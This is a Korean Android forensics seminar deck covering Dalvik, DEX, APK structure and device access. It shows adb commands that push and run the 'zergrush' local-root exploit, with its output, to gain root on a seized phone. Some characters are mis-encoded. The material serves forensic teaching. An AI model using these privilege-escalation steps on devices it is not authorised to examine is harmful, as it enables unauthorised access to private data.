FORENSICINSIGHT SEMINAR Android Forensics 101 Posquit0 pbj92220@postech.ac.kr http://posquit0.com I Can Do It!!
개요 Android OS 에대한기초적인지식을알수있다. Android 시스템에접근할수있다. forensicinsight.org Page 2 / 27
INDEX 1. Android OS 2. Accessing to The Device forensicinsight.org Page 3 / 27
Android OS forensicinsight.org Page 4 / 27
Android OS 안드로이드의정의 모바일기기를위한리눅스기반의운영체제 안드로이드는운영체제, 미들웨어, 그리고핵심어플리케이션을포함한모바일장치를위한소프트웨어스택 forensicinsight.org Page 5 / 27
Android OS 안드로이드의구조 리눅스커널기반 미들웨어 C/C++ 로작성된 Native Libraries 및 APIs 어플리케이션 Dalvik 가상머싞 Java C/C++ Kernel forensicinsight.org Page 6 / 27
Android OS Dalvik 가상머싞 모바일기기 ( 적은메모리 ) 의요구사항에최적화 동시에여러가상머싞을실행시킬수있도록설계 한어플리케이션당하나의가상머싞을가진다. 프로세스독립, 메모리관리, 쓰레드처리에등대부분의기능은커널의지원에의존 Dalvik 가상머싞은 Java 가상머싞과다르다. Java VM 을사용하지않는이유 Sun 라이선스를피하기위한젂략 forensicinsight.org Page 7 / 27
Android OS Dalvik VM 과 JVM CPU 는피연산자를저장하는위치에따라레지스터기반프로세서와스택기반프로세서로나눌수있음 Dalvik은레지스터기반의방식 레지스터를사용하여연산하는방식 Double과 Long은 2 개의레지스터, 나머지는 1 개의레지스터를사용 레지스터가 CPU 내에존재하기때문에, 속도가매우빠름 Instruction이가독성이있으므로디버깅에유리 메모리상의명령어길이가길어짐 forensicinsight.org Page 8 / 27
Android OS Dalvik VM 과 JVM JVM의경우, 스택기반의구조를가짂다. Double과 Long은 2 개의스택공갂, 나머지는 1 개의스택공갂을사용 JVM은 CPU에직접 Instruction을수행하지않고스택에서피연산자를뽑아내어이를별도의메모리공갂에저장하는방식을취하고있다. 이러한메모리공갂을 PC Registers라고한다. Context switch가일어날경우, 레지스터기반프로세서는모듞레지스터의상태를저장해야하지만, 스택기반프로세서는각프로세스마다스택을할당하기때문에스택만변경하여해결할수있음 메모리액세스가필요하기때문에, 속도가떨어짐 forensicinsight.org Page 9 / 27
Android OS DEX Dalvik Excutable Dalvik 가상머싞에서동작하도록컴파일된코드 클래스파일을 dx 툴을통해 DEX 파일로변홖 Java 바이트코드를변홖한 Dalvik 바이트코드사용 여러클래스파일에들어있는중복된정보를재사용 Jar 파일에비해필요공간이절반정도로줄어듬 forensicinsight.org Page 10 / 27
Android OS APK Android Package file 어플리케이션은 APK 포맷으로패키지화되어있다. JAR(Java Archive) 포맷의변형 표죾 ZIP 압축포맷 7-Zip, Alzip 등의압축프로그램으로내용물을확인할수있다. forensicinsight.org Page 11 / 27
Android OS APK Architecture 폴더 META-INF res Assets Java (.class) Dalvik (.dex) Android App (.apk) libs(native library) 파일 Resource Binary xml (.xml) Zip Compressed AndroidManifest.xml classes.dex Manifest resources.arsc forensicinsight.org Page 12 / 27
Android OS AndroidManifest.xml 모듞어플리케이션은반드시 AndroidManifest.xml 파일이최상위폴더에존재 어플리케이션에필요한 Permission 설정 어플리케이션별로퍼미션설정 주요컴포넌트 (Activity, Service, broadcast receiver, content provider) 에대한동작설정 forensicinsight.org Page 13 / 27
Android OS classes.dex DEX 포맷으로구성 어플리케이션내의모듞코드를포함 forensicinsight.org Page 14 / 27
Accessing to The Device forensicinsight.org Page 15 / 27
Accessing to The Device 개요 안드로이드기기내의모듞데이터에접근을하기위해서는권한이필요하다. 분석을짂행하는동안 root 권한을얻어분석을짂행할수있다. forensicinsight.org Page 16 / 27
Accessing to The Device 시나리오 중요한정보가담긴안드로이드기기를습득 기기내의정보획득이목표 루팅되어있지않은안드로이드기기 가정 기기의디버그모드는켜짂상태 만약디버그모드가꺼짂상태라면, 홖경설정에서킬수있다. forensicinsight.org Page 17 / 27
Accessing to The Device 준비물 안드로이드 SDK (Software Development Kit) 구글에서무료로제공 주로, ADB (Android Debug Bridge) 를많이사용할것임 forensicinsight.org Page 18 / 27
Accessing to The Device ADB 셸접속하기 안드로이드기기를 USB 에연결 그젂에, 해당장치에대한드라이버를설치할것 ADB 를통해기기가인식되었는지확인 posquit0@posquit0-server:~/workspace$ adb devices List of devices attached HT07AP800604 device ADB 셸에접속한뒤, 현재의 UID 를확인 posquit0@posquit0-server:~/workspace$ adb shell $ id uid=2000(shell) gid=2000(shell) groups=1003(graphics), 1004(input), forensicinsight.org Page 19 / 27
Accessing to The Device 권한상승 현재유저레벨은 shell 이다. 안드로이드의기본사용자유저레벨 시스템접근에대한많은제한을가짐 루트권한을얻기위해 Exploit을사용 현재버젂들에대해잘작동하는수많은 Exploit이존재 흔히말하는 안드로이드루팅 과는다른개념 일시적인권한상승 안드로이드기기를재부팅시원상태로복구 forensicinsight.org Page 20 / 27
Accessing to The Device 권한상승 우선, Exploit을장치에업로드해야한다. 쓰기권한이있는곳을탐색 /data/local/tmp/ 는쓰기권한이가지고있음 posquit0@posquit0-server:~$ adb shell # ls -l /data/local/ drwxrwx--x shell shell 2012-02-05 13:56 tmp adb push 명령어로기기내에파일을업로드할수있다. 다운로드는 pull 명령어를사용 posquit0@posquit0-server:~$ adb push zergrush /data/local/tmp/ 349 KB/s (23060 bytes in 0.064s) forensicinsight.org Page 21 / 27
Accessing to The Device 권한상승 업로드한 Exploit 에실행권한을부여 posquit0@posquit0-server:~$ adb shell # chmod 755 /data/local/tmp/zergrush # ls -l /data/local/tmp/zergrush -rwxr-xr-x shell shell 23060 2012-01-27 12:28 zergrus forensicinsight.org Page 22 / 27
Accessing to The Device 권한상승 Exploit 을실행 현재실행된 ADB 데몬을종료시키고, root 권한으로다시실행시켜죾다. # /data/local/tmp/zergrush [**] Zerg rush - Android 2.2/2.3 local root [**] (C) 2011 Revolutionary. All rights reserved. [**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew. [+] Found a GingerBread! 0x00000118 [*] Scooting... [*] Sending 149 zerglings... [+] Zerglings found a way to enter! 0x10 [+] Overseer found a path! 0x000150f8 [*] Sending 149 zerglings... [+] Zerglings caused crash (good news): 0x40119cf4 0x0064 [*] Researching Metabolic Boost... [+] Speedlings on the go! 0xafd25147 0xafd39267 [*] Popping 8 more zerglings [*] Sending 157 zerglings... [+] Rush did it! It's a GG, man! [+] Killing ADB and restarting as root... enjoy! forensicinsight.org Page 23 / 27
Accessing to The Device 권한상승 ADB 셸에다시접속을시도 데몬이 Exploit에의해죽어있어다시실행 이때, root 권한으로실행되게된다. 접속후, UID를확인 posquit0@posquit0-server:~$ adb kill-server posquit0@posquit0-server:~$ adb shell * daemon not running. starting it now on port 5037 * * daemon started successfully * # id uid=0(root) gid=0(root) 루트권한을획득! forensicinsight.org Page 24 / 27
질문및답변 forensicinsight.org Page 25 / 27
참고자료 1. Thomascannon Project: Android-reversing forensicinsight.org Page 26 / 27
NEXT Android Forensics: Lock Protection 다루는내용 안드로이드내부의 Lock 기능 패턴잠금 PIN / Password 잠금 어플리케이션의 Lock 기능 forensicinsight.org Page 27 / 27